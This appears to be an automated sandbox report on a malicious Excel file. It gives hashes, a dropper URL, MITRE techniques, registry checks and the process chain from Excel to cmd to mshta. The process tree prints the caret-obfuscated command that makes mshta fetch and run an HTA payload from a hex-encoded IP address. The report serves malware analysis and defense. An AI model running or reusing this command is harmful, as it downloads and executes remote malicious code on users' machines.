7711d6fb56bb07b0db1056116eebfe905174f3772177006c61a7d2ecb1768311

Analysis

max time kernel
142s
max time network
174s
platform
windows10_x64
resource
win10-en-20211208
submitted
28-01-2022 01:47

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General

Target

file-110.xls
Size

65KB
MD5

0f0583a335e29cf6397316ea7c74e210
SHA1

60ef9d24eb9ef6c102596d3fb0032c48edff7d5e
SHA256

64fdccb41a13f3e7f28c0af35982bdff42ccf8c46ace6894a592ff566c10738c
SHA512

f11d03df55eb3aa1c7e10275e898bd5083079f25467c0487e1b19fb2de816aeca5cf604ff11f82087b505d580bae4c61dab9c80037b774c801a33eb63cdc919a

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xc12a24f5/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3184	2760	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

36 2160 mshta.exe

flow	pid	process
36	2160	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2760 EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2760	EXCEL.EXE
2760	EXCEL.EXE
2760	EXCEL.EXE
2760	EXCEL.EXE
2760	EXCEL.EXE
2760	EXCEL.EXE
2760	EXCEL.EXE
2760	EXCEL.EXE
2760	EXCEL.EXE
2760	EXCEL.EXE
2760	EXCEL.EXE
2760	EXCEL.EXE
2760	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 2760 wrote to memory of 3184	2760	EXCEL.EXE	cmd.exe
PID 2760 wrote to memory of 3184	2760	EXCEL.EXE	cmd.exe
PID 3184 wrote to memory of 2160	3184	cmd.exe	mshta.exe
PID 3184 wrote to memory of 2160	3184	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\file-110.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2760

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3184

C:\Windows\system32\mshta.exe
mshta http://0xc12a24f5/cc.html
3⤵
- Blocklisted process makes network request
PID:2160

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/2760-118-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

Filesize
64KB

Download
memory/2760-119-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

Filesize
64KB

Download
memory/2760-120-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

Filesize
64KB

Download
memory/2760-121-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

Filesize
64KB

Download
memory/2760-122-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

Filesize
64KB

Download
memory/2760-131-0x00007FFF03D00000-0x00007FFF03D10000-memory.dmp

Filesize
64KB

Download
memory/2760-132-0x00007FFF03D00000-0x00007FFF03D10000-memory.dmp

Filesize
64KB

Download
memory/2760-304-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

Filesize
64KB

Download
memory/2760-305-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

Filesize
64KB

Download
memory/2760-306-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

Filesize
64KB

Download
memory/2760-307-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

Filesize
64KB

Download